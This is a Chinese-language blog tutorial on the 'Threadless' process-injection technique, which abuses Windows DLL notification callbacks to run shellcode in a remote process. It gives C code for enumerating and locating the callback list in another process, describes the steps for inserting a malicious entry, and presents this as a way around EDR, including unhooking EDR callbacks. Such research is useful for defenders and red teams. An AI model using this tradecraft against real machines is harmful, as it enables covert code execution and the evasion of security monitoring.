偶然看到某国外大佬发布新技术-“Threadless”进程注入技术,据说可过EDR(确实可),总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode,项目地址在这里。
传统进程注入四步法:
杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。
针对第四步执行shellcode方式,@CCob与@Kudaes相继提出新加载技术 - ThreadlessInject。原理上基本一致,Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点,进而加载我们的shellcode。下面我们逐步剖析学习一下该技术手段。
在 Windows 操作系统中,当一个 DLL(动态链接库)被加载或卸载时,系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下,通常使用LdrRegisterDllNotification
函数来注册回调函数。
ps:Windows中除了通过上述API函数注册回调函数,还有PsSetLoadImageNotifyRoutine
函数,该函数允许驱动程序注册一个回调函数,当驱动程序映像或用户映像(DLL、EXE)被映射到虚拟内存中时,系统会调用此回调函数。注意,PsSetLoadImageNotifyRoutine
函数只能在内核态下使用
很遗憾,在微软官方文档中没有关于LdrDllNotification
函数的详细资料,只有大致介绍
LdrDllNotification函数简介
ps:通常,一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。在@onlymalware截取的这段代码中,可以看到作为攻击方,应如何在自己的进程中取消注册所有LdrDllNotification
回调函数,从而限制EDR从我们的进程中收集样本数据。
回归正题,LdrRegisterDllNotification
函数方法没有相关联的头文件,但是可以通过LoadLibrary
和GetProcAddress
进行导入。
另外,通过查阅@modexp文章了解到,还需要自己实现函数及其所有相关数据结构,以下是构造的简单示例代码:
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA;
typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;
typedef union _LDR_DLL_NOTIFICATION_DATA {
LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;
typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context);
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
ULONG Flags,
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
PVOID Context,
PVOID* Cookie);
typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);
// 回调函数
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered callback\n");
}
//字符中断
printf("[+] Press enter to continue\n");
getchar();
// 加载其他dll来触发回调函数
printf("[+] Loading USER32 DLL now\n");
LoadLibraryA("USER32.dll");
}
}
ps:普及下基础知识,为什么要获取ntdll.dll的句柄?是为了找到 LdrRegisterDllNotification 函数的地址,有且只有 ntdll.dll 库中有 LdrRegisterDllNotification 函数。
运行截图:
上述代码作用大致解释为利用LoadLibraryA("USER32.dll") 加载 USER32.dll 库,触发 DLL 通知回调函数,也就是上面注册的 MyCallback 函数。MyCallback函数将打印出 DLL 的基本名称。
在当前进程中操纵注册自己的DLL通知回调函数,首先要找到它在内存中的位置。 查阅函数定义,获取的唯一返回值(除了 NTSTATUS)是一个指向Cookie
的指针,与LdrUnregisterDllNotification
的Cookie
一样(LdrUnregisterDllNotification
函数是帮助我们删除特定的回调函数)。
关于Cookie指针的解释:Cookie指针实际上是一个指向LDR_DLL_NOTIFICATION_ENTRY
的指针,它保存了与我们注册的回调函数相关的所有数据,包括指向回调函数本身的指针和指向回调函数上下文的指针(在本例中未使用)。 _LDR_DLL_NOTIFICATION_ENTRY
还包含一个LIST_ENTRY
结构,该结构指向进程中注册的其余回调函数。
:)继续普及基础知识:进程中已注册的所有回调函数都存储在LdrpDllNotificationList
(双向链表)中,并通过指向上一个和下一个回调的LIST_ENTRY
结构体链接在一起。当一个 DLL 被加载或卸载时,系统会遍历这个链表,并调用其中的每个回调函数,以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY
类型的结构体,它包含两个成员:List
和 NotificationFunction
。其中,List
是一个 LIST_ENTRY
类型的结构体,用于将节点链接到链表中。NotificationFunction
是一个指向回调函数的指针,它指定了当 DLL 加载或卸载时要调用的函数。
完整流程解释:在当前进程中使用 LdrRegisterDllNotification
函数注册一个 DLL 通知回调函数时,这个函数会在 LdrpDllNotificationList
链表中添加一个新节点,并将其 NotificationFunction
成员设置为自定义的回调函数。当 DLL 加载或卸载时,系统会遍历这个双向链表,并调用其中的每个回调函数。
这类似于 PEB 中InMemoryOrderModuleList
的双向链表,当我们想避免调用GetModuleHandle
和GetProcAddress
时,有时会尝试通过这个方法来查找已加载的 DLL 和导出的函数。需要注意的是“LdrpDllNotificationList”的头部位于 NTDLL 的 .data 部分。
掌握这些前置知识,就可以注册一些 DLL 通知回调,将Cookie指针指向LDR_DLL_NOTIFICATION_ENTRY
结构体,然后顺序遍历双向链表即可。
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
//添加第二个回调函数
VOID MySecondCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MySecondCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered first callback\n");
}
// 注册第二个回调函数
status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MySecondCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered second callback\n");
}
// 列出当前进程的DLL通知列表回调
printf("[+] DLL Notification List:\n");
// The head of the list is the next link in the chain
// since our callback is the last callback in the list
PLIST_ENTRY head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)head;
do {
// 打印LDR_DLL_NOTIFICATION_ENTRY及其回调函数的地址
printf(" %p -> %p\n", entry, entry->Callback);
// Iterate to the next callback in the list
entry = (PLDR_DLL_NOTIFICATION_ENTRY)entry->List.Flink;
} while ((PLIST_ENTRY)entry != head); // 当我们再次遍历到列表的头部时停止
printf("\n");
}
}
在上面的代码中,我们注册了两个不同的 DLL 通知回调函数,然后迭代双向链表,同时打印列表中的每个entry条目。
运行结果如图:
注:由于 USER32.dll 库依赖于其他 DLL 库,所以在加载 USER32.dll 库时,也会同时加载它所依赖的其他 DLL 库。这些 DLL 库也会触发 DLL 通知回调函数,并打印出它们的基本名称到控制台。因此,在您提供的输出结果中,除了 USER32.dll 的基本名称之外,还打印出了其他 DLL 库的基本名称。
掌握了如何在进程中迭代 LdrpDllNotificationList(双向链表),我们需要一种方法来可靠地找到列表的头部。
// 回调函数
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
}
// 获取 LdrpDllNotificationList头部地址
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0;
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到LdrRegisterDllNotification函数
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 找到 LdrUnregisterDllNotification函数
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
// 将回调函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n");
// Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head);
// 卸载回调函数
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
}
return head;
}
一开始,我认为刚刚注册的回调函数会在双向链表的最后一个条目中,然后双向链表的头地址必然位于其 List.Flink 指针中,因为在双向链表中最后一个条目应该始终指向第一个条目,从而关闭某种循环。虽然上述代码可以运行,但它会出现条件竞争问题,即另一个线程也可能在我们获取到指向list头部的指针前注册自己的DLL通知回调。
船到桥头自然直,请注意运行输出结果的第一个条目和第二个条目的地址,链表(又名LdrpDllNotificationList)的头部位于完全不同的内存空间中。 如果查看这部分内存空间,会发现它恰好在 NTDLL 的 .data 数据段上。 因此,为了准确无误地获取 LdrpDllNotificationList 的头部,我们在迭代链表时,首次发现 NTDLL .data 部分的内存范围内有一个条目时就停止,下一节给出问题解决前后的运行对比图,代码请自行实现。
常规操作远程目标进程 - ReadProcessMemory/NtreadVirtualMemory
读内存,OpenProcess/NtOpenProcess获取进程句柄,但是我们从哪里开始读取呢?
答:LdrpDllNotificationList头地址位于 NTDLL 的 .data
数据段中,而每个进程都会从磁盘上一模一样的加载 NTDLL.dll,因此 LdrpDllNotificationList头地址也是位于每个进程中的相同位置(相对于 NTDLL 的基地址)。
所以,先在自己当前进程中检查NTDLL的基址,再获取内存中LdrpDllNotificationList头地址,计算出偏移量同时获取目标进程的NTDLL基准地址,最后在远程目标进程中将相同的偏移量累加至NTDLL基址上,即可获取到远程进程的LdrpDllNotificationList头地址,演示代码如下:
#include <Windows.h>
#include <stdio.h>
#include "nt.h"
#include <cstdint>
// Our callback function
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
}
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0;
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// find LdrRegisterDllNotification function
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// find LdrUnregisterDllNotification function
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
// Register our dummy callback function as a DLL Notification Callback
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n");
// Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head);
// Unregister our dummy callback function
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
}
return head;
}
LPVOID GetNtdllBase(HANDLE hProc) {
// find NtQueryInformationProcess function
NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress((HMODULE)GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
// Get the PEB of the remote process
PROCESS_BASIC_INFORMATION info;
NTSTATUS status = pNtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), 0);
ULONG_PTR ProcEnvBlk = (ULONG_PTR)info.PebBaseAddress;
// Read the address pointer of the remote Ldr
ULONG_PTR ldrAddress = 0;
BOOL res = ReadProcessMemory(hProc, ((char*)ProcEnvBlk + offsetof(_PEB, pLdr)), &ldrAddress, sizeof(ULONG_PTR), nullptr);
// Read the address of the remote InLoadOrderModuleList head
ULONG_PTR ModuleListAddress = 0;
res = ReadProcessMemory(hProc, ((char*)ldrAddress + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)), &ModuleListAddress, sizeof(ULONG_PTR), nullptr);
// Read the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
LDR_DATA_TABLE_ENTRY ModuleEntry = { 0 };
res = ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
LIST_ENTRY* ModuleList = (LIST_ENTRY*)&ModuleEntry;
WCHAR name[1024];
ULONG_PTR nextModuleAddress = 0;
LPWSTR sModuleName = (LPWSTR)L"ntdll.dll";
// Start the forloop with reading the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
for (ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
// Stop when we reach the last entry
(ULONG_PTR)(ModuleList->Flink) != ModuleListAddress;
// Read the next entry in the list
ReadProcessMemory(hProc, (LPCVOID)nextModuleAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr))
{
// Zero out the buffer for the dll name
memset(name, 0, sizeof(name));
// Read the buffer of the remote BaseDllName UNICODE_STRING into the buffer "name"
ReadProcessMemory(hProc, (LPCVOID)ModuleEntry.BaseDllName.pBuffer, &name, ModuleEntry.BaseDllName.Length, nullptr);
// Check if the name of the current module is ntdll.dll and if so, return the DllBase address
if (wcscmp(name, sModuleName) == 0) {
return (LPVOID)ModuleEntry.DllBase;
}
// Otherwise, set the nextModuleAddress to point for the next entry in the list
ModuleList = (LIST_ENTRY*)&ModuleEntry;
nextModuleAddress = (ULONG_PTR)(ModuleList->Flink);
}
return 0;
}
void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
printf("\n");
printf("[+] Remote DLL Notification Block List:\n");
// Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));
// Read the head entry from the remote process
ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
LPVOID currentEntryAddress = remoteHeadAddress;
do {
// print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
printf(" 0x%p -> 0x%p\n", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback);
// Get the address of the next callback in the list
currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink;
// Read the next callback in the list
ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
} while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again
free(entry);
printf("\n");
}
int main()
{
// Get local LdrpDllNotificationList head address
LPVOID localHeadAddress = (LPVOID)GetDllNotificationListHead();
printf("[+] Local LdrpDllNotificationList head address: 0x%p\n", localHeadAddress);
// Get local NTDLL base address
HANDLE hNtdll = GetModuleHandleA("NTDLL.dll");
printf("[+] Local NTDLL base address: %p\n", hNtdll);
// calculate the offset of LdrpDllNotificationList from NTDLL base
int64_t offsetFromBase = (BYTE*)localHeadAddress - (BYTE*)hNtdll;
printf("[+] LdrpDllNotificationList offset from NTDLL base: 0x%IX\n", offsetFromBase);
// Open handle to remote process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4764);
printf("[+] Got handle to remote process\n");
// Get remote NTDLL base address
LPVOID remoteNtdllBase = GetNtdllBase(hProc);
LPVOID remoteHeadAddress = (BYTE*)remoteNtdllBase + offsetFromBase;
printf("[+] Remote LdrpDllNotificationList head address 0x%p\n", remoteHeadAddress);
// Print the remote Dll Notification List
PrintDllNotificationList(hProc, remoteHeadAddress);
}
问题解决前后运行对比图
上一节只是读取了远程目标进程的双向链表,这节编写代码操纵目标进程内存执行shellcode。但是,首先依然需要深入了解LDR_DLL_NOTIFICATION_ENTRY
结构体,特别是其LIST_ENTRY
的属性。
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
每个_LDR_DLL_NOTIFICATION_ENTRY
条目都有一个属性 List,而 List
属性本身就是一个LIST_ENTRY
类型的结构,继续套娃,LIST_ENTRY
又有两个属性:
当使用LdrRegisterDllNotification
注册回调函数时,实际调用过程如下:
1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构
2.设置Callback属性为指向我们自定义的回调函数
3.设置Context属性为指向所提供的上下文(如果有的话)
4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目
5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目
6.设置List.Flink属性为指向LdrpDllNotificationList的头部(双向链表中的最后一个链接应始终指向列表的头部)。
7.更改LdrpDllNotificationList头的List.Blink属性为指向我们新创建的条目
这是关于双向链接列表的演示图,不过有一点区别是,在我们的示例中,列表的头部和尾部也连接起来,这就是所谓的循环双向链表。
最终的演示代码在这里,编译时需要自己手动填写shellcode并改写目标进程的PID。
结果图如下,在最终代码中,注入新创建的LDR_DLL_NOTIFICATION_ENTRY
到远程进程中,触发执行调用calc的shellcode。
本文到此已经初步阐明该技术手段的基本原理,后续进一步了解如何利用该技术手段调试执行恶意shellcode,请转《利用DLL通知回调函数注入shellcode(下)》…
参考链接:
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